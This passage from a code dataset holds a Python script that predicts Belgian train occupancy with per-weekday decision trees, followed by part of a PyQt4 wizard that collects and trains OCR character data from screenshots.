*\nfrom algos.data_transformation import *\nfrom domain.occupancy import Occupancy\nfrom domain.station import Station\nfrom domain.stationEntry import StationEntry\nfrom domain.city import City\nfrom domain.entry import Entry\nfrom utils.file_utils import parse_csv_file_to_list, parse_json_file_to_list\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn import tree\nimport numpy as np\nimport agate\nimport time\n\nOCCUPANCY_DATA_FILE = 'occupancy-until-20161029.newlinedelimitedjsonobjects'\nSTATIONS_DATA_FILE = 'stations.csv'\nOCCUPANCY_TEST_FILE = 'trains_test.csv'\n\ncities = [City(\"Brussels\", 50.786350, 50.918930, 4.276428, 4.4991348),\n City(\"Antwerp\", 51.173693, 51.317015, 4.254456, 4.507141),\n City(\"Ghent\", 51.002832, 51.103832, 3.69072, 3.766251),\n City(\"Charleroi\", 50.403524, 50.418660, 4.434013, 4.457359),\n City(\"Liège\", 50.581055, 50.647440, 5.557022, 5.596504),\n City(\"Bruges\", 51.195129, 51.223843, 3.212128, 3.24337),\n City(\"Namur\", 50.461298, 50.470258, 4.848919, 4.878101),\n City(\"Leuven\", 50.867048, 50.890551, 4.681377, 4.716396),\n City(\"Mons\", 50.445013, 50.461189, 3.9382, 3.961773),\n City(\"Aalst\", 50.927354, 50.949854, 4.015331, 4.054985),\n City(\"Lille\", 50.615894, 50.651607, 3.028107, 3.08527)]\n\noccupancies_raw_data = parse_json_file_to_list(OCCUPANCY_DATA_FILE)\nstations_raw_data = parse_csv_file_to_list(STATIONS_DATA_FILE)\ntest_data_raw = agate.Table.from_csv(OCCUPANCY_TEST_FILE)\n\n\ndef main():\n days = ['MONDAY',\n 'TUESDAY',\n 'WEDNESDAY',\n 'THURSDAY',\n 'FRIDAY',\n 'SATURDAY',\n 'SUNDAY']\n\n daily_decision_trees = []\n t = time.process_time()\n for day in days:\n daily_decision_trees.append(trainTreeForSpecificDay(day))\n elapsed_time = time.process_time() - t\n\n predictTestData(daily_decision_trees)\n print(elapsed_time)\n\n # clf_gini, clf_entropy = trainTreeForSpecificDay('TUESDAY')\n # predictTestData(clf_gini, clf_entropy)\n\n # y_pred = clf_gini.predict(X_test)\n # y_pred_ent = clf_entropy.predict(X_test)\n # print(\"Accuracy GINI is \", accuracy_score(y_test, y_pred) * 100)\n\n # print(\"Accuracy ENTROPY is \", accuracy_score(y_test, y_pred_ent) * 100)\n\n\ndef trainTree():\n stations = {station.number: station for station in\n [Station(station_data, cities) for station_data in stations_raw_data]}\n occupancies = [Occupancy(occupancy_data, stations) for occupancy_data in occupancies_raw_data]\n\n occupancies = filter_duplicates(filter_erroneous(occupancies))\n\n column_names = ['day_period', 'is_weekday', \"from_urban\", \"to_urban\", \"in_morning_rush\",\n \"in_evening_rush\", \"vehicle_type\",\n \"occupancy\"]\n\n column_types = [agate.Number(), agate.Number(), agate.Number(), agate.Number(), agate.Number(), agate.Number(),\n agate.Number(), agate.Text()]\n\n occupancy_attributes = []\n for occupancy in occupancies:\n occupancy_attributes.append(occupancy.to_attribute_list())\n\n occupancy_table = agate.Table(occupancy_attributes, column_names, column_types)\n\n level_column = ['occupancy']\n occupancy_level = occupancy_table.select(level_column)\n occupancy_level.print_table(max_rows=3000, max_columns=15)\n\n occupancy_table.print_table(max_rows=3000, max_columns=15)\n\n all_rows = np.array([[value for value in row.values()] for row in occupancy_table.rows])\n x = all_rows[:, 0:6]\n y = all_rows[:, 7]\n\n x_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.3, random_state=100)\n\n clf_gini = DecisionTreeClassifier(criterion=\"gini\", max_depth=5, min_samples_leaf=1)\n clf_gini.fit(x_train, y_train)\n\n clf_entropy = DecisionTreeClassifier(criterion=\"entropy\", max_depth=5, min_samples_leaf=2)\n clf_entropy.fit(x_train, y_train)\n\n feature_names = ['day_period', \"from_urban\", \"to_urban\", \"in_morning_rush\",\n \"in_evening_rush\", \"vehicle_type\"]\n class_names = ['HIGH', 'LOW', 'MEDIUM']\n\n with open(\"iris.dot\", 'w') as f:\n f = tree.export_graphviz(clf_entropy, feature_names=feature_names, class_names=class_names, filled=True,\n out_file=f)\n\n y_pred_ent = clf_entropy.predict(X_test)\n print(\"Accuracy is \", accuracy_score(y_test, y_pred_ent) * 100)\n\n return clf_gini, clf_entropy\n\n\ndef trainTreeForSpecificDay(day):\n occupancies_raw_data = parse_json_file_to_list(OCCUPANCY_DATA_FILE)\n stations_raw_data = parse_csv_file_to_list(STATIONS_DATA_FILE)\n # test_data_raw = agate.Table.from_csv(OCCUPANCY_TEST_FILE)\n\n\n stations = {station.number: station for station in\n [Station(station_data, cities) for station_data in stations_raw_data]}\n occupancies = [Occupancy(occupancy_data, stations) for occupancy_data in occupancies_raw_data]\n\n occupancies = filter_erroneous(occupancies)\n\n column_names = ['day_period', \"weekday\", \"from_urban\", \"to_urban\", \"vehicle_type\",\n \"occupancy\"]\n\n column_types = [agate.Number(), agate.Text(), agate.Number(), agate.Number(),\n agate.Number(), agate.Text()]\n\n occupancy_attributes = []\n for occupancy in occupancies:\n occupancy_attributes.append(occupancy.to_numerical_attribute_list())\n\n occupancy_table = agate.Table(occupancy_attributes, column_names, column_types)\n\n target_column_names = ['day_period', \"from_urban\", \"to_urban\", \"vehicle_type\",\n \"occupancy\"]\n\n occupancy_day = occupancy_table.where(lambda row: day == row['weekday'])\n\n # occupancy_day.print_table(max_rows=3000, max_columns=15)\n\n occupancy_daily = occupancy_day.select(target_column_names)\n\n # occupancy_daily.print_table(max_rows=3000, max_columns=15)\n\n all_rows = np.array([[value for value in row.values()] for row in occupancy_daily.rows])\n x = all_rows[:, 0:3]\n y = all_rows[:, 4]\n\n x_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0, random_state=100)\n\n clf_gini = DecisionTreeClassifier(criterion=\"gini\", min_samples_leaf=4)\n clf_gini.fit(x_train, y_train)\n\n clf_entropy = DecisionTreeClassifier(criterion=\"entropy\", min_samples_leaf=4)\n clf_entropy.fit(x_train, y_train)\n\n feature_names = ['day_period', \"from_urban\", \"to_urban\", \"vehicle_type\"]\n class_names = ['HIGH', 'LOW', 'MEDIUM']\n\n # Code to export .dot to pdf:\n # dot -Tpdf iris.dot -o iris.pdf\n with open(\"{day}_iris.dot\".format(day=day), 'w') as f:\n f = tree.export_graphviz(clf_entropy, feature_names=feature_names, class_names=class_names, filled=True,\n out_file=f)\n\n # y_pred_ent = clf_entropy.predict(X_test)\n # print(\"Accuracy is \", accuracy_score(y_test, y_pred_ent) * 100)\n\n return clf_gini, clf_entropy\n\n\ndef predictTestData(daily_trained_classifiers):\n clf_gini_monday, clf_entropy_monday = daily_trained_classifiers[0]\n clf_gini_tuesday, clf_entropy_tuesday = daily_trained_classifiers[1]\n clf_gini_wednesday, clf_entropy_wednesday = daily_trained_classifiers[2]\n clf_gini_thursday, clf_entropy_thursday = daily_trained_classifiers[3]\n clf_gini_friday, clf_entropy_friday = daily_trained_classifiers[4]\n clf_gini_saturday, clf_entropy_saturday = daily_trained_classifiers[5]\n clf_gini_sunday, clf_entropy_sunday = daily_trained_classifiers[6]\n\n stations_raw_data = parse_csv_file_to_list(STATIONS_DATA_FILE)\n test_data_raw = agate.Table.from_csv(OCCUPANCY_TEST_FILE)\n\n stations = {station.number: station for station in\n [StationEntry(station_data, cities) for station_data in stations_raw_data]}\n\n test_entries = [Entry(occupancy_data, stations) for occupancy_data in test_data_raw]\n #\n # test_data_column_names = ['is_weekday', 'day_period', 'from_urban', 'to_urban',\n # 'in_morning_rush', 'in_evening_rush',\n # \"vehicle_type\"\n # ]\n test_data_column_names = ['day_period', 'weekday', 'from_urban', 'to_urban',\n \"vehicle_type\"\n ]\n\n test_data_column_types = [agate.Number(), agate.Number(), agate.Number(), agate.Number(),\n agate.Number(),\n ]\n\n test_list = []\n\n for occupancy in test_entries:\n test_list.append(occupancy.to_attribute_list())\n\n test_data_occupancy_table = agate.Table(test_list, test_data_column_names, test_data_column_types)\n\n #test_data_occupancy_table.print_table(max_rows=3000, max_columns=15)\n\n target_column_names = ['day_period', \"from_urban\", \"to_urban\", \"vehicle_type\"]\n\n # occupancy_day.print_table(max_rows=3000, max_columns=15)\n\n data_to_predict = test_data_occupancy_table.select(target_column_names)\n all_rows = np.array([[value for value in row.values()] for row in data_to_predict.rows])\n\n y_predictions = []\n\n x_test = all_rows[:, 0:3]\n\n for index, row in enumerate(x_test):\n current_day = test_data_occupancy_table[index][1]\n if current_day == 0:\n y_predictions.append(clf_entropy_monday.predict(row.reshape(1, -1)))\n elif current_day == 1:\n y_predictions.append(clf_entropy_tuesday.predict(row.reshape(1, -1)))\n elif current_day == 2:\n y_predictions.append(clf_entropy_wednesday.predict(row.reshape(1, -1)))\n elif current_day == 3:\n y_predictions.append(clf_entropy_thursday.predict(row.reshape(1, -1)))\n elif current_day == 4:\n y_predictions.append(clf_entropy_friday.predict(row.reshape(1, -1)))\n elif current_day == 5:\n y_predictions.append(clf_entropy_saturday.predict(row.reshape(1, -1)))\n elif current_day == 6:\n y_predictions.append(clf_entropy_sunday.predict(row.reshape(1, -1)))\n\n # OCCUPANCY RATING:\n # 0 --> LOW\n # 1--> MEDIUM\n # 2--> HIGH\n\n #print(y_predictions)\n LOW_OCCUPANCY = 0\n MEDIUM_OCCUPANCY = 1\n HIGH_OCCUPANCY = 2\n\n final_occupancies = []\n index = 0\n\n for prediction in y_predictions:\n temp_occupancy = 0\n if prediction == 'LOW':\n temp_occupancy = LOW_OCCUPANCY\n elif prediction == 'MEDIUM':\n temp_occupancy = MEDIUM_OCCUPANCY\n elif prediction == 'HIGH':\n temp_occupancy = HIGH_OCCUPANCY\n final_occupancies.append([index, temp_occupancy])\n index += 1\n\n columns = ['id', 'occupancy']\n columns_types = [agate.Number(), agate.Number()]\n\n results = agate.Table(final_occupancies, columns, columns_types)\n #results.print_table(max_rows=3000, max_columns=15)\n\n results.to_csv('test_1.csv')\n\n\ndef predictData():\n stations_raw_data = parse_csv_file_to_list(STATIONS_DATA_FILE)\n test_data_raw = agate.Table.from_csv(OCCUPANCY_TEST_FILE)\n\n stations = {station.number: station for station in\n [Station(station_data, cities) for station_data in stations_raw_data]}\n\n test_entries = [Entry(occupancy_data, stations) for occupancy_data in test_data_raw]\n\n test_data_column_names = ['hour', 'is_weekday', 'from_urban', 'to_urban',\n 'in_morning_rush', 'in_evening_rush',\n \"vehicle_type\"\n ]\n\n test_data_column_types = [agate.Number(), agate.Number(), agate.Number(), agate.Number(),\n agate.Number(),\n agate.Number(),\n agate.Number()\n ]\n\n test_list = []\n\n for occupancy in test_entries:\n test_list.append(occupancy.to_attribute_list())\n\n test_data_occupancy_table = agate.Table(test_list, test_data_column_names, test_data_column_types)\n # test_data_occupancy_table.print_table(max_rows=1000, max_columns=15)\n\n final_occupancies = []\n\n # OCCUPANCY RATING:\n # 0 --> LOW\n # 1--> MEDIUM\n # 2--> HIGH\n\n LOW_OCCUPANCY = 0\n MEDIUM_OCCUPANCY = 1\n HIGH_OCCUPANCY = 2\n\n columns = ['id', 'occupancy']\n columns_types = [agate.Number(), agate.Number()]\n\n index = 0\n\n for test_entry in test_data_occupancy_table:\n if isEarlyMorning(test_entry):\n if (isSunday(test_entry) or isMonday(test_entry)) and isGoingUrban(test_entry):\n temp_occupency = HIGH_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n\n if isLateEvening(test_entry):\n if isSunday(test_entry) and isGoingUrban(test_entry):\n temp_occupency = HIGH_OCCUPANCY\n if isMonday(test_entry) and isGoingUrban(test_entry) and isFromUrban(test_entry):\n temp_occupency = MEDIUM_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n\n elif isBeforeNoon(test_entry):\n if isWeekend(test_entry):\n if isSunday(test_entry) and isFromUrban(test_entry) and isGoingUrban(test_entry):\n temp_occupency = MEDIUM_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n\n elif isMorningRush(test_entry):\n if isFromUrban(test_entry) and isGoingUrban(test_entry):\n if isWednesday(test_entry):\n temp_occupency = HIGH_OCCUPANCY\n else:\n temp_occupency = MEDIUM_OCCUPANCY\n\n elif isFromUrban(test_entry) and not isGoingUrban(test_entry):\n temp_occupency = LOW_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n\n elif isAfternoon(test_entry):\n if isWeekend(test_entry):\n if isSunday(test_entry) and isFromUrban(test_entry) and not isGoingUrban(test_entry):\n temp_occupency = MEDIUM_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n\n elif isEveningRush(test_entry):\n if isFromUrban(test_entry) and isGoingUrban(test_entry):\n temp_occupency = HIGH_OCCUPANCY\n\n elif isFromUrban(test_entry) and not isGoingUrban(test_entry):\n if isFriday(test_entry) or isMonday(test_entry) or isTuesday(test_entry):\n temp_occupency = HIGH_OCCUPANCY\n elif isWednesday(test_entry):\n temp_occupency = MEDIUM_OCCUPANCY\n else:\n temp_occupency = MEDIUM_OCCUPANCY\n\n elif isGoingUrban(test_entry) and not isFromUrban(test_entry):\n if isThursday(test_entry):\n temp_occupency = HIGH_OCCUPANCY\n elif isTuesday(test_entry) and isFriday(test_entry):\n temp_occupency = LOW_OCCUPANCY\n else:\n temp_occupency = MEDIUM_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n\n else:\n if isFromUrban(test_entry) and isGoingUrban(test_entry):\n if isMonday(test_entry):\n temp_occupency = MEDIUM_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n\n elif isLateEvening(test_entry):\n if isWednesday(test_entry) or isSunday(test_entry):\n temp_occupency = HIGH_OCCUPANCY\n elif isMonday(test_entry):\n temp_occupency = MEDIUM_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n else:\n temp_occupency = LOW_OCCUPANCY\n\n final_occupancies.append([index, temp_occupency])\n index += 1\n\n results = agate.Table(final_occupancies, columns, columns_types)\n results.print_table(max_rows=3000, max_columns=15)\n\n results.to_csv('test_1.csv')\n\n\ndef analyzeDay(daily_results):\n # Print graph of entry / hour\n # daily_results.bins('hour', 23, 0, 23).print_bars('hour', width=80)\n\n # Print count of occupancy level / hour\n occupency_per_hour = daily_results.pivot(['hour', 'occupancy']).order_by('hour')\n # occupency_per_hour.print_table(max_rows=2000, max_columns=15)\n\n calculateRushHourConfidence(daily_results)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"alexdaube/BelgianTrainsOccupancy","sub_path":"train_occupancy_prediction.py","file_name":"train_occupancy_prediction.py","file_ext":"py","file_size_in_byte":16671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38150814295","text":"# -*- coding: utf-8 -*-\nimport sys\nimport gzip\nimport cv2\nimport random\nimport numpy as np\nimport os\nfrom os import remove\nfrom os.path import split\nfrom functools import partial\nfrom qimage2ndarray import array2qimage\nfrom bitarray import bitarray\n\nfrom PyQt4.QtGui import QWizard, QFileDialog, QListWidgetItem, QGraphicsScene, QPen, QPixmap, QMovie, QGridLayout, QGraphicsView, QLineEdit\nfrom PyQt4.QtCore import Qt, QObject, SIGNAL, QSize\n\nfrom learningUI import Ui_Wizard\nfrom settings import Settings\nfrom ocr import OCR\nfrom customqlistwidgetitem import CustomQListWidgetItem\nfrom trainer import Trainer\n\ntry:\n import cPickle as pickle\nexcept:\n import pickle\n\nclass LearningWizard(QWizard, Ui_Wizard):\n def __init__(self, settings):\n QWizard.__init__(self)\n self.setupUi(self)\n self.settings = settings\n self.wizardPage3.pageCreated.connect(self.showSummary)\n self.wizardPage3.fullfilled = True\n\n self.wizardPage2.fullfilled = True\n self.errors = 0\n self.steps = 0\n self.delete_images_button.clicked.connect(self.deleteUserImages)\n self.add_files_button.clicked.connect(self.AddFiles)\n self.remove_file_button.clicked.connect(self.removeFile)\n self.save_button.clicked.connect(self.saveImgData)\n self.train_button.clicked.connect(self.trainOCR)\n self.ocr_button.clicked.connect(self.runOCR)\n self.next_button.clicked.connect(self.nextWord)\n self.prev_button.clicked.connect(self.previousWord)\n #self.add_screenshots.clicked.connect(self.AddFiles)\n #self.wizardPage2.pageCreated.connect(self.AnalyzeImg)\n #self.contrast = 0.0\n #self.img_fields = [self.g1,self.g2,self.g3,self.g4,self.g5,self.g6,self.g7,self.g8,self.g9,self.g10,self.g11,self.g12,self.g13,self.g14,self.g15,self.g16,self.g17,self.g18,self.g19,self.g20]\n #self.input_fields = [self.e1,self.e2,self.e3,self.e4,self.e5,self.e6,self.e7,self.e8,self.e9,self.e10,self.e11,self.e12,self.e13,self.e14,self.e15,self.e16,self.e17,self.e18,self.e19,self.e20]\n self.gviews = []\n self.ledits = []\n self.boxlist = []\n self.imglist = []\n self.charlist = []\n self.words = []\n self.boundaries = []\n self.wordcount = 0\n self.current = 0\n self.scene = None\n self.ratio_h = 1.0\n self.ratio_w = 1.0\n self.base = self.loadBase()\n self.user = self.loadUser()\n if not self.base is None:\n self.base_data_label.setText(self.getBaseData())\n if not self.user is None:\n self.delete_images_button.setEnabled(True)\n self.user_data_label.setText(self.getUserData())\n #self.resizeElements()\n \n #for index,item in zip(range(20), self.input_fields):\n # item.textEdited.connect(partial(self.changeText, index))\n self.train_button.setEnabled(True)\n #self.grid = QGridLayout()\n #self.field_holder.addLayout(self.grid)\n \n \n def deleteUserImages(self):\n self.user = None\n path = self.settings.storage_path+os.sep+\"user_training_data.pck\"\n remove(path)\n self.user_data_label.setText(\"-\")\n self.delete_images_button.setEnabled(False)\n \n def showSummary(self):\n summary = \"\"\n userdata = {}\n characters = [\"'\", ',', '-', '&', '[', ']', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n for word in self.words:\n for letter in word:\n if letter[1] in characters:\n if letter[1] in userdata:\n userdata[letter[1]] += 1\n else:\n userdata[letter[1]] = 1\n for key in characters:\n if key in userdata:\n summary += '\"'+key+'\"' +\": \" +str(userdata[key])+\", \"\n \n self.summary_label.setText(summary)\n \n def trainOCR(self):\n self.train_button.setEnabled(False)\n alldata = self.connectData()\n testnumbers = self.getRandomData(alldata,[',', '-', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'])\n testletters = self.getRandomData(alldata,[\"'\", ',', '-', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])\n teststation = self.getRandomData(alldata,[\"'\", ',', '-', '&', '[', ']', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])\n self.movie = QMovie(\":/ico/loader.gif\")\n self.loader.setMovie(self.movie)\n self.movie.start()\n self.numberstrainerthread = Trainer(self, \"numbers\", self.base, self.user, testnumbers, testletters, teststation)\n self.letterstrainerthread = Trainer(self, \"letters\", self.base, self.user, testnumbers, testletters, teststation)\n self.stationtrainerthread = Trainer(self, \"station\", self.base, self.user, testnumbers, testletters, teststation)\n QObject.connect(self.numberstrainerthread, SIGNAL('finished(QString, int)'), self.stepFinished)\n QObject.connect(self.letterstrainerthread, SIGNAL('finished(QString, int)'), self.stepFinished)\n QObject.connect(self.stationtrainerthread, SIGNAL('finished(QString, int)'), self.stepFinished)\n #QObject.connect(self.trainerthread, SIGNAL('finishedall(int)'), self.trainingFinished)\n self.numberstrainerthread.execute()\n self.letterstrainerthread.execute()\n self.stationtrainerthread.execute()\n self.training_summary.setText(\"Training in progress\")\n\n def trainingFinished(self):\n if self.errors < 3:\n self.training_summary.setText(\"The training sucessfully finished. Your OCR accuracy should be very high.\")\n elif self.errors < 6:\n self.training_summary.setText(\"The training sucessfully finished. Your OCR accuracy should satisfactory. You might still increase it by repeating this process with other screenshots.\")\n elif self.errors < 10:\n self.training_summary.setText(\"The training sucessfully finished. Your OCR accuracy is sufficient but not perfect. You should repeat this process with other screenshots.\")\n else:\n self.training_summary.setText(\"The training finished. Your OCR accuracy is not sufficient. You should repeat this process with other screenshots.\")\n \n def stepFinished(self, value, error):\n self.steps += 1\n self.details.append(value+\"\\n\")\n self.errors += error\n if self.steps == 3:\n self.trainingFinished()\n self.movie.stop()\n self.loader.clear()\n \n def connectData(self):\n connected = {}\n characters = [\"'\", ',', '-', '&', '[', ']', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n \n if self.user is None:\n self.user = {}\n if self.base is None:\n self.base = {}\n \n\n for char in characters:\n if char in self.base and char in self.user:\n connected[char] = self.base[char]+self.user[char]\n elif char in self.base:\n connected[char] = self.base[char]\n elif char in self.user:\n connected[char] = self.user[char]\n return connected\n \n def getRandomData(self, data, characters):\n self.testsamples = {}\n samples = 30\n \n for char in characters:\n amount = len(data[char])/400\n if amount > samples:\n picks = random.sample(range(amount), samples)\n else:\n picks = random.sample(range(amount), amount)\n \n temp = bitarray()\n for pick in picks:\n temp += data[char][pick*400:pick*400+400]\n \n self.testsamples[char] = temp\n \n return self.testsamples\n \n def saveImgData(self):\n characters = [\"'\", ',', '-', '&', '[', ']', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\n \n if self.user is None:\n self.user = {}\n \n for word in self.words:\n for letter in word:\n if letter[1] in characters:\n data = bitarray()\n image = cv2.resize(letter[0], (20, 20))\n ret,image = cv2.threshold(image,250,255,cv2.THRESH_BINARY)\n for row in image:\n for cell in row:\n if cell == 255:\n data.append(True)\n else:\n data.append(False)\n if letter[1] in self.user:\n self.user[letter[1]] += data\n else:\n self.user[letter[1]] = data\n \n path = self.settings.storage_path+os.sep+\"user_training_data.pck\"\n file = gzip.GzipFile(path, 'wb')\n pickle.dump(self.user, file,-1)\n file.close()\n \n self.save_button.setEnabled(False)\n self.train_button.setEnabled(True)\n \n \n \n def changeText(self, index):\n #print index\n self.words[self.current][index][1] = unicode(self.ledits[index].text())\n \n def getBaseData(self):\n text = \"\"\n keys = []\n for key in self.base:\n keys.append(key)\n keys.sort()\n for key in keys:\n text += key + \": \" + str(len(self.base[key])/400)+\", \"\n #print keys\n return text\n \n def getUserData(self):\n text = \"\"\n keys = []\n for key in self.user:\n keys.append(key)\n keys.sort()\n for key in keys:\n text += key + \": \" + str(len(self.user[key])/400)+\", \"\n return text\n \n def loadBase(self):\n try:\n path = self.settings.app_path+os.sep+\"trainingdata\"+os.sep+\"base_training_data.pck\"\n file = gzip.GzipFile(path, 'rb')\n letters = pickle.load(file)\n file.close()\n return letters\n except:\n return None\n \n def loadUser(self):\n try:\n path = self.settings.storage_path+os.sep+\"user_training_data.pck\"\n file = gzip.GzipFile(path, 'rb')\n letters = pickle.load(file)\n file.close()\n return letters\n except:\n return None\n \n def removeFile(self):\n item = self.file_list.currentItem()\n self.file_list.takeItem(self.file_list.currentRow())\n del item\n \n def AddFiles(self):\n if self.settings[\"native_dialog\"]:\n files = QFileDialog.getOpenFileNames(self, \"Open\", self.settings['screenshot_dir'])\n else:\n files = QFileDialog.getOpenFileNames(self, \"Open\", self.settings['screenshot_dir'], options = QFileDialog.DontUseNativeDialog)\n\n if files == []:\n return\n first_item = None\n counter = 0\n for file in files:\n file1 = unicode(file).encode(sys.getfilesystemencoding())\n item = CustomQListWidgetItem(split(file1)[1], file1, self.settings)\n if first_item == None:\n first_item = item\n self.file_list.addItem(item)\n counter+=1\n \"\"\" \n def resizeElements(self):\n fields = self.input_fields\n for field in fields:\n field.setMinimumSize(QSize(0, self.settings['input_size']))\n field.setMaximumSize(QSize(16777215, self.settings['input_size']))\n canvases = self.img_fields\n for canvas in canvases:\n canvas.setMinimumSize(QSize(0, self.settings['snippet_size']))\n canvas.setMaximumSize(QSize(16777215, self.settings['snippet_size']))\n \"\"\" \n def runOCR(self):\n self.add_files_button.setEnabled(False)\n self.remove_file_button.setEnabled(False)\n self.ocr_button.setEnabled(False)\n self.file_list.setEnabled(False)\n self.repaint()\n self.current_image = 0\n self.results = []\n self.images = []\n self.prev = []\n self.marketoffset = []\n self.stationoffset = []\n files = self.file_list.count()\n for i in xrange(files):\n self.file_list.setCurrentRow(i)\n item = self.file_list.currentItem()\n color_image = item.loadColorImage()\n preview_image = item.addTestImage(color_image)\n self.images.append(color_image)\n self.prev.append(preview_image)\n #cv2.imshow(\"x\", color_image)\n #cv2.waitKey(0)\n #\n #images.append(preview_image)\n #self.setPreviewImage(preview_image)\n #return\n self.stationoffset.append(item.ocr_areas.station_name)\n self.marketoffset.append(item.ocr_areas.market_table)\n current_result = OCR(color_image, item.ocr_areas, self.settings[\"ocr_language\"], item, levels = False, levenshtein = False)\n \n self.results.append(current_result)\n self.allBoxes()\n #print len(self.words)\n #print self.words[1]\n self.next_button.setEnabled(True)\n self.prev_button.setEnabled(False)\n self.showSet()\n self.notifier.setText(\"You did not check every word yet.\")\n\n \n def showSet(self):\n #self.snippet_preview\n \n bound = self.boundaries[self.current]\n #print self.current\n #print bound[1]\n image = self.images[bound[0]][bound[1][1]-2:bound[1][3]+3,bound[1][0]-2:bound[1][2]+2]\n self.drawSnippet(self.snippet_preview, image)\n for gview in self.gviews:\n self.grid.removeWidget(gview)\n gview.deleteLater()\n gview = None\n for ledit in self.ledits:\n self.grid.removeWidget(ledit)\n ledit.deleteLater()\n ledit = None\n self.gviews = []\n self.ledits = []\n letters = len(self.words[self.current])\n for i in range(letters):\n gview = QGraphicsView()\n self.grid.addWidget(gview,0,i)\n self.gviews.append(gview)\n gview.setMaximumSize(50, self.settings['snippet_size'])\n gview.setVerticalScrollBarPolicy(1)\n gview.setHorizontalScrollBarPolicy(1)\n self.drawSnippet(gview, self.words[self.current][i][0])\n \n ledit = QLineEdit()\n self.grid.addWidget(ledit,1,i)\n self.ledits.append(ledit)\n ledit.setMaximumSize(50, self.settings['input_size'])\n ledit.setAlignment(Qt.AlignHCenter)\n ledit.setText(self.words[self.current][i][1])\n \n for index,item in zip(range(50), self.ledits):\n item.textEdited.connect(partial(self.changeText, index))\n self.repaint()\n \"\"\"\n pictures = len(self.img_fields)\n if pictures < len(self.imglist)-((self.current-1)*20):\n for i in range(20):\n if len(self.imglist) > (self.current*20)+i:\n self.drawSnippet(self.img_fields[i], self.imglist[(self.current*20)+i])\n self.input_fields[i].setText(self.charlist[(self.current*20)+i])\n else:\n self.cleanSnippet(self.img_fields[i])\n self.input_fields[i].setText(\"\")\n self.wizardPage2.fullfilled = True\n self.wizardPage2.completeChanged.emit()\n \"\"\"\n \n \n def previousWord(self):\n if self.current > 0:\n self.current -= 1\n self.showSet()\n \n self.next_button.setEnabled(True)\n \n if self.current == 0:\n self.prev_button.setEnabled(False)\n else:\n self.prev_button.setEnabled(True)\n \n def nextWord(self):\n #print self.maxcount\n if self.current < self.wordcount-1:\n self.current += 1\n self.showSet()\n \n self.prev_button.setEnabled(True)\n \n if self.current == self.wordcount-1:\n self.next_button.setEnabled(False)\n self.notifier.setText(\"You checked every word now. If you corrected every letter continue to next page.\")\n else:\n self.next_button.setEnabled(True)\n \n def cleanSnippet(self, graphicsview):\n scene = QGraphicsScene()\n graphicsview.setScene(scene)\n \n def drawOCRPreview(self):\n factor = 1.0\n img = self.prev[0]\n \n old_h = img.height()\n old_w = img.width()\n \n pix = img.scaled(QSize(self.preview.size().width()*factor,self.preview.size().height()*factor), Qt.KeepAspectRatio, Qt.SmoothTransformation)\n #pix = img.scaled(self.preview.size(), Qt.KeepAspectRatio, Qt.SmoothTransformation)\n \n new_h = pix.height()\n new_w = pix.width()\n \n self.ratio_h = old_h/float(new_h)\n self.ratio_w = old_w/float(new_w)\n \n self.scene = QGraphicsScene()\n self.scene.addPixmap(pix)\n #self.scene.addPixmap(img)\n \n self.previewRects = []\n\n pen = QPen(Qt.yellow)\n redpen = QPen(Qt.red)\n bluepen = QPen(Qt.blue)\n greenpen = QPen(Qt.green)\n \n #for box in self.boxes():\n # rect = self.addRect(self.scene, box, ratio_w, ratio_h, pen)\n # self.previewRects.append(rect)\n rect = self.addRect(self.scene, self.boxlist[0], self.ratio_w, self.ratio_h, pen)\n self.previewRects.append(rect)\n self.previewSetScene(self.scene)\n\n \n def drawSnippet(self, graphicsview, snippet):\n \"\"\"Draw single result item to graphicsview\"\"\"\n try:\n h, w = snippet.shape\n except:\n h, w, c = snippet.shape\n if h < 1 or w <1:\n return\n processedimage = array2qimage(snippet)\n pix = QPixmap()\n pix.convertFromImage(processedimage)\n pix = pix.scaled(graphicsview.width(), graphicsview.height()-1, Qt.KeepAspectRatio, Qt.SmoothTransformation)\n scene = QGraphicsScene()\n scene.addPixmap(pix)\n graphicsview.setScene(scene)\n graphicsview.show()\n \n def addRect(self, scene, item, ratio_w, ratio_h, pen):\n \"\"\"Adds a rectangle to scene and returns it.\"\"\"\n rect = scene.addRect((item[0])/ratio_w , (item[2])/ratio_h,\n item[1]/ratio_w, item[3]/ratio_h, pen)\n return rect\n 